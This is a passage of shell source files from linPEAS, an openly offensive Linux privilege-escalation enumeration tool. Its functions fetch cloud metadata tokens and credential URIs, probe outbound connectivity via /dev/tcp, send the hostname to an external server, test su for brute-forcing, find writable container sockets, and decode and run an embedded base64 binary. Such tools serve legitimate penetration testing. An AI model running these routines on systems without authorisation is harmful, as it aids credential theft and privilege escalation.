Yes) 2>/dev/null || echo No)" security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)" efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)" efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)" } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_aliyun_ecs.sh ================================================ # Title: Cloud - check_aliyun_ecs # ID: check_aliyun_ecs # Author: Carlos Polop # Last Update: 24-01-2024 # Description: Check if the script is running in Alibaba # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_aliyun_ecs # Fat linpeas: 0 # Small linpeas: 1 check_aliyun_ecs(){ is_aliyun_ecs="No" if [ -f "/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg" ]; then is_aliyun_ecs="Yes" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_aws_codebuild.sh ================================================ # Title: Cloud - check_aws_codebuild # ID: check_aws_codebuild # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the script is running in AWS CodeBuild # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_aws_codebuild # Fat linpeas: 0 # Small linpeas: 1 check_aws_codebuild(){ is_aws_codebuild="No" if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then is_aws_codebuild="Yes" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_aws_ec2.sh ================================================ # Title: Cloud - check_aws_ec2 # ID: check_aws_ec2 # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the script is running in AWS EC2 # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_aws_ec2, $is_aws_ec2_beanstalk, $EC2_TOKEN # Fat linpeas: 0 # Small linpeas: 1 check_aws_ec2(){ is_aws_ec2="No" is_aws_ec2_beanstalk="No" if [ -d "/var/log/amazon/" ]; then is_aws_ec2="Yes" EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) else EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then is_aws_ec2="Yes" fi fi if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then is_aws_ec2_beanstalk="Yes" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_aws_ecs.sh ================================================ # Title: Cloud - check_aws_ecs # ID: check_aws_ecs # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the script is running in AWS ECS # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_aws_ecs, $aws_ecs_metadata_uri, $aws_ecs_service_account_uri # Fat linpeas: 0 # Small linpeas: 1 check_aws_ecs(){ is_aws_ecs="No" if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then is_aws_ecs="Yes"; aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4; aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" elif (env | grep -q ECS_CONTAINER_METADATA_URI); then is_aws_ecs="Yes"; aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI; aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then is_aws_ecs="Yes"; fi if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_aws_lambda.sh ================================================ # Title: Cloud - check_aws_lambda # ID: check_aws_lambda # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the script is running in AWS Lambda # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_aws_lambda # Fat linpeas: 0 # Small linpeas: 1 check_aws_lambda(){ is_aws_lambda="No" if (env | grep -q AWS_LAMBDA_); then is_aws_lambda="Yes" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_az_app.sh ================================================ # Title: Cloud - check_az_app # ID: check_az_app # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the script is running in Azure App Service # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_az_app # Fat linpeas: 0 # Small linpeas: 1 check_az_app(){ is_az_app="No" if [ -d "/opt/microsoft" ] && env | grep -iq "azure"; then is_az_app="Yes" fi if [ -n "$IDENTITY_ENDPOINT" ] && echo "$IDENTITY_ENDPOINT" | grep -q "/token" && [ -n "$IDENTITY_HEADER" ]; then is_az_app="Yes" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_az_automation_acc.sh ================================================ # Title: Cloud - check_az_automation_acc # ID: check_az_automation_acc # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the script is running in Azure App Service # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_az_automation_acc # Fat linpeas: 0 # Small linpeas: 1 check_az_automation_acc(){ is_az_automation_acc="No" if env | grep -iq "azure" && env | grep -iq "AutomationServiceEndpoint"; then is_az_automation_acc="Yes" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_az_vm.sh ================================================ # Title: Cloud - check_az_vm # ID: check_az_vm # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the script is running in Azure VM # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_az_vm, $meta_response # Fat linpeas: 0 # Small linpeas: 1 check_az_vm(){ is_az_vm="No" # 1. Check if the Azure log directory exists if [ -d "/var/log/azure/" ]; then is_az_vm="Yes" # 2. Check if 'reddog.microsoft.com' is found in /etc/resolv.conf elif grep -q "search reddog.microsoft.com" /etc/resolv.conf 2>/dev/null; then is_az_vm="Yes" else # 3. Try querying the Azure Metadata Service for more wide support (e.g. Azure Container Registry tasks need this) if type curl >/dev/null 2>&1; then meta_response=$(curl -s --max-time 2 \ "http://169.254.169.254/metadata/identity/oauth2/token") if echo "$meta_response" | grep -q "Missing"; then is_az_vm="Yes" fi elif type wget >/dev/null 2>&1; then meta_response=$(wget -qO- --timeout=2 \ "http://169.254.169.254/metadata/identity/oauth2/token") if echo "$meta_response" | grep -q "Missing"; then is_az_vm="Yes" fi fi fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_critial_root_path.sh ================================================ # Title: Interesting Perms Files - check_critial_root_path # ID: check_critial_root_path # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if you have write privileges over critical root paths # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $USER, $wgroups # Initial Functions: # Generated Global Variables: folder_path # Fat linpeas: 0 # Small linpeas: 1 check_critial_root_path(){ folder_path="$1" if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_dns.sh ================================================ # Title: LinPeasBase - check_dns # ID: check_dns # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the DNS is available # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $TIMEOUT_INTERNET_SECONDS_DNS, $local_pid # Fat linpeas: 0 # Small linpeas: 1 check_dns(){ local TIMEOUT_INTERNET_SECONDS_DNS=$1 if ! [ -f "/bin/bash" ]; then echo " /bin/bash not found" return fi # example.com (bash -c '((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible"') & local_pid=$! sleep $TIMEOUT_INTERNET_SECONDS_DNS && kill -9 $local_pid 2>/dev/null && echo "DNS is not accessible" } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_do.sh ================================================ # Title: Cloud - check_do # ID: check_do # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the script is running in Digital Ocean # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_do # Fat linpeas: 0 # Small linpeas: 1 check_do(){ is_do="No" if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then is_do="Yes" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_external_hostname.sh ================================================ # Title: LinPeasBase - check_external_hostname # ID: check_external_hostname # Author: Carlos Polop # Last Update: 23-05-2025 # Description: This will check the public IP and hostname in known malicious lists and leaks to find any relevant information about the host. # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $$INTERNET_SEARCH_TIMEOUT # Fat linpeas: 0 # Small linpeas: 1 check_external_hostname(){ INTERNET_SEARCH_TIMEOUT=15 # wget or curl? if command -v curl >/dev/null 2>&1; then curl "https://tools.hacktricks.wiki/api/host-checker" -H "User-Agent: linpeas" -d "{\"hostname\":\"$(hostname)\"}" -H "Content-Type: application/json" --max-time "$INTERNET_SEARCH_TIMEOUT" elif command -v wget >/dev/null 2>&1; then wget -q -O - "https://tools.hacktricks.wiki/api/host-checker" --header "User-Agent: linpeas" --post-data "{\"hostname\":\"$(hostname)\"}" -H "Content-Type: application/json" --timeout "$INTERNET_SEARCH_TIMEOUT" else echo "wget or curl not found" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_gcp.sh ================================================ # Title: Cloud - check_gcp # ID: check_gcp # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the script is running in GCP # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_gcp_vm, $is_gcp_function # Fat linpeas: 0 # Small linpeas: 1 check_gcp(){ is_gcp_vm="No" is_gcp_function="No" if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then is_gcp_vm="Yes" fi # CHeck if /workspace exists if [ -d "/workspace" ] && [ -d "/layers" ]; then is_gcp_vm="No" is_gcp_function="Yes" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_ibm_vm.sh ================================================ # Title: Cloud - check_ibm_vm # ID: check_ibm_vm # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the script is running in IBM VM # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_ibm_vm, $IBM_TOKEN # Fat linpeas: 0 # Small linpeas: 1 check_ibm_vm(){ is_ibm_vm="No" if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1 if [ "$?" -eq 0 ]; then IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) ) is_ibm_vm="Yes" fi fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_icmp.sh ================================================ # Title: LinPeasBase - check_icmp # ID: check_icmp # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if ICMP is available # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $TIMEOUT_INTERNET_SECONDS_ICMP, $local_pid # Fat linpeas: 0 # Small linpeas: 1 check_icmp(){ local TIMEOUT_INTERNET_SECONDS_ICMP=$1 if ! [ "$(command -v ping 2>/dev/null || echo -n '')" ]; then echo " ping not found" return fi # example.com ((ping -c 1 1.1.1.1 2>/dev/null | grep -Ei "1 received|1 packets received" && echo "ICMP is accessible" || echo "ICMP is not accessible" 2>/dev/null) | grep "accessible" && exit 0 ) 2>/dev/null || echo "ICMP is not accessible" & local_pid=$! sleep $TIMEOUT_INTERNET_SECONDS_ICMP && kill -9 $local_pid 2>/dev/null && echo "ICMP is not accessible" } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_if_su_brute.sh ================================================ # Title: LinPeasBase - check_if_su_brute # ID: check_if_su_brute # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Try to brute-force su # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $EXISTS_SU, $error # Fat linpeas: 0 # Small linpeas: 1 check_if_su_brute(){ EXISTS_SU="$(command -v su 2>/dev/null || echo -n '')" error=$(echo "" | timeout 1 su $(whoami) -c whoami 2>&1); if [ "$EXISTS_SU" ] && ! echo $error | grep -q "must be run from a terminal"; then echo "1" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_tcp_443.sh ================================================ # Title: LinPeasBase - check_tcp_443 # ID: check_tcp_443 # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if TCP Internet conns are available (via port 443) # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $local_pid, $TIMEOUT_INTERNET_SECONDS_443 # Fat linpeas: 0 # Small linpeas: 1 check_tcp_443(){ local TIMEOUT_INTERNET_SECONDS_443=$1 if ! [ -f "/bin/bash" ]; then echo " /bin/bash not found" return fi # example.com (bash -c '(echo >/dev/tcp/104.18.74.230/443 2>/dev/null && echo "Port 443 is accessible" && exit 0) 2>/dev/null || echo "Port 443 is not accessible"') & local_pid=$! sleep $TIMEOUT_INTERNET_SECONDS_443 && kill -9 $local_pid 2>/dev/null && echo "Port 443 is not accessible" } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_tcp_443_bin.sh ================================================ # Title: LinPeasBase - check_tcp_443_bin # ID: check_tcp_443_bin # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if TCP Internet conns are available (via port 443) using curl or wget # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $url_lambda, $TIMEOUT_INTERNET_SECONDS_443_BIN # Fat linpeas: 0 # Small linpeas: 1 check_tcp_443_bin () { local TIMEOUT_INTERNET_SECONDS_443_BIN=$1 local url_lambda="https://tools.hacktricks.wiki/api/host-checker" if command -v curl >/dev/null 2>&1; then if curl -s --connect-timeout $TIMEOUT_INTERNET_SECONDS_443_BIN "$url_lambda" \ -H "User-Agent: linpeas" -H "Content-Type: application/json" \ -d "{\"hostname\":\"$(hostname)\"}" >/dev/null 2>&1 then echo "Port 443 is accessible with curl" return 0 # ✅ success else echo "Port 443 is not accessible with curl" return 1 fi elif command -v wget >/dev/null 2>&1; then if wget -q --timeout=$TIMEOUT_INTERNET_SECONDS_443_BIN -O - "$url_lambda" \ --header "User-Agent: linpeas" -H "Content-Type: application/json" \ --post-data "{\"hostname\":\"$(hostname)\"}" >/dev/null 2>&1 then echo "Port 443 is accessible with wget" return 0 else echo "Port 443 is not accessible with wget" return 1 fi else echo "Neither curl nor wget available" return 1 fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_tcp_80.sh ================================================ # Title: LinPeasBase - execBin # ID: check_tcp_80 # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if TCP Internet conns are available (via port 80) # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $local_pid, $TIMEOUT_INTERNET_SECONDS_80 # Fat linpeas: 0 # Small linpeas: 1 check_tcp_80(){ local TIMEOUT_INTERNET_SECONDS_80=$1 if ! [ -f "/bin/bash" ]; then echo " /bin/bash not found" return fi # example.com (bash -c '(echo >/dev/tcp/104.18.74.230/80 2>/dev/null && echo "Port 80 is accessible" && exit 0) 2>/dev/null || echo "Port 80 is not accessible"') & local_pid=$! sleep $TIMEOUT_INTERNET_SECONDS_80 && kill -9 $local_pid 2>/dev/null && echo "Port 80 is not accessible" } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/check_tencent_cvm.sh ================================================ # Title: Cloud - check_tencent_cvm # ID: check_tencent_cvm # Author: Ahadowabi # Last Update: 24-01-2024 # Description: Check if the script is running in tencent # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $is_tencent_cvm # Fat linpeas: 0 # Small linpeas: 1 check_tencent_cvm () { is_tencent_cvm="No" if grep -qi Tencent /etc/cloud/cloud.cfg 2>/dev/null; then is_tencent_cvm="Yes" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/containerCheck.sh ================================================ # Title: Container - containerCheck # ID: containerCheck # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if we are inside a container # License: GNU GPL # Version: 1.0 # Functions Used: echo_no # Global Variables: # Initial Functions: # Generated Global Variables: $inContainer, $containerType # Fat linpeas: 0 # Small linpeas: 1 containerCheck() { inContainer="" containerType="$(echo_no)" # Are we inside docker? if [ -f "/.dockerenv" ] || grep "/docker/" /proc/1/cgroup -qa 2>/dev/null || grep -qai docker /proc/self/cgroup 2>/dev/null || [ "$(find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null)" ] ; then inContainer="1" containerType="docker\n" fi # Are we inside kubenetes? if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null || grep -qai kubepods /proc/self/cgroup 2>/dev/null; then inContainer="1" if [ "$containerType" ]; then containerType="$containerType (kubernetes)\n" else containerType="kubernetes\n" fi fi # Inside concourse? if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then inContainer="1" if [ "$containerType" ]; then containerType="$containerType (concourse)\n" fi fi # Are we inside LXC? if env | grep "container=lxc" -qa 2>/dev/null || grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then inContainer="1" containerType="lxc\n" fi # Are we inside podman? if env | grep -qa "container=podman" 2>/dev/null || grep -qa "container=podman" /proc/1/environ 2>/dev/null; then inContainer="1" containerType="podman\n" fi # Check for other container platforms that report themselves in PID 1 env if [ -z "$inContainer" ]; then if grep -a 'container=' /proc/1/environ 2>/dev/null; then inContainer="1" containerType="$(grep -a 'container=' /proc/1/environ | cut -d= -f2)\n" fi fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/echo_no.sh ================================================ # Title: LinPeasBase - echo_no # ID: echo_no # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Print No # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 echo_no (){ printf $DG"No\n"$NC } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/echo_not_found.sh ================================================ # Title: LinPeasBase - echo_not_found # ID: echo_not_found # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Print Not Found # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 echo_not_found(){ printf $DG"$1 Not Found\n"$NC } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/enumerateDockerSockets.sh ================================================ # Title: Container - enumerateDockerSockets # ID: enumerateDockerSockets # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Search Docker Sockets # License: GNU GPL # Version: 1.0 # Functions Used: echo_not_found # Global Variables: $GREP_DOCKER_SOCK_INFOS, $GREP_DOCKER_SOCK_INFOS_IGNORE # Initial Functions: # Generated Global Variables: $SEARCHED_DOCKER_SOCKETS, $docker_enumerated, $dockerVersion, $int_sock, $sockInfoResponse # Fat linpeas: 0 # Small linpeas: 1 enumerateDockerSockets() { dockerVersion="$(echo_not_found)" if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then SEARCHED_DOCKER_SOCKETS="1" # NOTE: This is intentionally "lightweight" (checks common runtime socket names) and avoids # pseudo filesystems (/sys, /proc) to reduce noise and latency. for int_sock in $(find / \ -path "/sys" -prune -o \ -path "/proc" -prune -o \ -type s \( \ -name "docker.sock" -o \ -name "docker.socket" -o \ -name "dockershim.sock" -o \ -name "containerd.sock" -o \ -name "crio.sock" -o \ -name "frakti.sock" -o \ -name "rktlet.sock" \ \) -print 2>/dev/null); do # Basic permissions hint (you generally need write perms to connect to a unix socket). if [ -w "$int_sock" ]; then if echo "$int_sock" | grep -Eq "docker"; then echo "You have write permissions over Docker socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED_YELLOW},g" else echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g" fi else echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g" fi # Validate whether this looks like a Docker Engine API socket (amicontained-style) when curl exists. docker_enumerated="" if [ "$(command -v curl 2>/dev/null || echo -n '')" ]; then sockInfoResponse="$(curl -s --max-time 2 --unix-socket "$int_sock" http://localhost/info 2>/dev/null)" if echo "$sockInfoResponse" | grep -q "ServerVersion"; then echo "Valid Docker API socket: $int_sock" | sed -${E} "s,$int_sock,${SED_RED_YELLOW},g" dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) echo "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' docker_enumerated="1" fi fi # Fallback to docker CLI if curl is missing or the /info request didn't work. # Use DOCKER_HOST so we can target non-default socket paths when possible. if [ "$(command -v docker 2>/dev/null || echo -n '')" ] && ! [ "$docker_enumerated" ]; then if [ -w "$int_sock" ] && echo "$int_sock" | grep -Eq "docker"; then sockInfoResponse="$(DOCKER_HOST="unix://$int_sock" docker info 2>/dev/null)" if [ "$sockInfoResponse" ]; then dockerVersion=$(echo "$sockInfoResponse" | grep -i "^ Server Version:" | awk '{print $4}' | head -n 1) printf "%s\n" "$sockInfoResponse" | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' fi fi fi done fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/execBin.sh ================================================ # Title: LinPeasBase - execBin # ID: execBin # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Write and execute an embedded binary # License: GNU GPL # Version: 1.0 # Functions Used: print_3title, print_info # Global Variables: $Wfolder # Initial Functions: # Generated Global Variables: $TOOL_NAME, $TOOL_LINK, $B64_BIN, $PARAMS, $TMP_BIN, $cmdpid, $watcher, $rc # Fat linpeas: 0 # Small linpeas: 1 execBin() { TOOL_NAME=$1 # Display name TOOL_LINK=$2 # Reference URL B64_BIN=$3 # base64‑encoded executable PARAMS=$4 # Arguments to the tool [ -z "$B64_BIN" ] && return 0 # nothing to do echo print_3title "Running $TOOL_NAME" print_info "$TOOL_LINK" TMP_BIN=$(mktemp "${Wfolder:-/tmp}/bin.XXXXXX") || { echo "mktemp failed"; return 1; } printf '%s' "$B64_BIN" | base64 -d > "$TMP_BIN" || { echo "decode failed"; rm -f "$TMP_BIN"; return 1; } chmod +x "$TMP_BIN" # ---------------- 120‑second wall‑clock timeout ---------------- if command -v timeout >/dev/null 2>&1; then # GNU/BSD timeout timeout --preserve-status -s 9 120 "$TMP_BIN" $PARAMS elif command -v gtimeout >/dev/null 2>&1; then # Homebrew coreutils (macOS) gtimeout --preserve-status -s 9 120 "$TMP_BIN" $PARAMS else # POSIX fall‑back ( "$TMP_BIN" $PARAMS & # run in background cmdpid=$! ( sleep 120 && kill -9 "$cmdpid" 2>/dev/null) & watcher=$! wait "$cmdpid" rc=$? kill -9 "$watcher" 2>/dev/null exit $rc ) fi rc=$? rm -f "$TMP_BIN" echo return $rc } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/exec_with_jq.sh ================================================ # Title: Cloud - exec_with_jq # ID: exec_with_jq # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Execute a command and if jq is installed, format the output # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 exec_with_jq(){ if [ "$(command -v jq || echo -n '')" ]; then $@ | jq 2>/dev/null; if ! [ $? -eq 0 ]; then $@; fi else $@; fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/get_current_user_privot_pid.sh ================================================ # Title: LinPeasBase - execBin # ID: get_current_user_privot_pid # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Write and exected an embedded binary # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $SEARCH_IN_FOLDER, $NOUSEPS # Initial Functions: # Generated Global Variables: $CURRENT_USER_PIVOT_PID, $pid, $ppid, $user, $ppid_user # Fat linpeas: 0 # Small linpeas: 1 get_current_user_privot_pid(){ CURRENT_USER_PIVOT_PID="" if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then # Function to get user by PID get_user_by_pid() { ps -p "$1" -o user | grep -v "USER" } # Find processes with PPID and user info, then filter those where PPID's user is different from the process's user ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do if [ "$ppid" = "0" ]; then continue fi ppid_user=$(get_user_by_pid "$ppid") if echo "$user" | grep -Eqv "$ppid_user|root$"; then if [ "$ppid_user" = "$USER" ]; then CURRENT_USER_PIVOT_PID="$ppid" fi fi done echo "" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/inDockerGroup.sh ================================================ # Title: Container - inDockerGroup # ID: inDockerGroup # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the user is in the docker group # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $DOCKER_GROUP # Fat linpeas: 0 # Small linpeas: 1 inDockerGroup() { DOCKER_GROUP="No" if groups 2>/dev/null | grep -q '\bdocker\b'; then DOCKER_GROUP="Yes" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/kernel_cve_registry_checks.sh ================================================ # Title: Function - kernel_cve_registry_checks # ID: kernel_cve_registry_checks # Author: Carlos Polop # Last Update: 25-02-2026 # Description: Evaluate declared kernel CVE rules using kernel version, arch, kernel config, sysctl and command prerequisites. # Description: Data source chunks KERNEL_CVE_DATA_1..21 are capped to 25 rows each. # License: GNU GPL # Version: 1.0 # Functions Used: echo_not_found, print_3title, print_list # Global Variables: $E, $KERNEL_CVE_DATA_1, $KERNEL_CVE_DATA_2, $KERNEL_CVE_DATA_3, $KERNEL_CVE_DATA_4, $KERNEL_CVE_DATA_5, $KERNEL_CVE_DATA_6, $KERNEL_CVE_DATA_7, $KERNEL_CVE_DATA_8, $KERNEL_CVE_DATA_9, $KERNEL_CVE_DATA_10, $KERNEL_CVE_DATA_11, $KERNEL_CVE_DATA_12, $KERNEL_CVE_DATA_13, $KERNEL_CVE_DATA_14, $KERNEL_CVE_DATA_15, $KERNEL_CVE_DATA_16, $KERNEL_CVE_DATA_17, $KERNEL_CVE_DATA_18, $KERNEL_CVE_DATA_19, $KERNEL_CVE_DATA_20, $KERNEL_CVE_DATA_21, $SED_GREEN, $SED_RED_YELLOW # Initial Functions: echo_not_found, print_3title, print_list # Generated Global Variables: $KERNEL_CVE_CFG_FILE, $KERNEL_CVE_CFG_SOURCE, $KERNEL_CVE_CFG_LINE, $KERNEL_CVE_CFG_KEY, $KERNEL_CVE_CFG_EXPR, $KERNEL_CVE_CFG_EXPECT, $KERNEL_CVE_CFG_OP, $KERNEL_CVE_CFG_CUR, $KERNEL_CVE_SYS_EXPR, $KERNEL_CVE_SYS_KEY, $KERNEL_CVE_SYS_OP, $KERNEL_CVE_SYS_VAL, $KERNEL_CVE_SYS_CUR, $KERNEL_CVE_REQS, $KERNEL_CVE_REQ, $KERNEL_CVE_REQ_LINES, $KERNEL_CVE_ID, $KERNEL_CVE_ID_NORM, $KERNEL_CVE_NAME, $KERNEL_CVE_TAGS, $KERNEL_CVE_RANK, 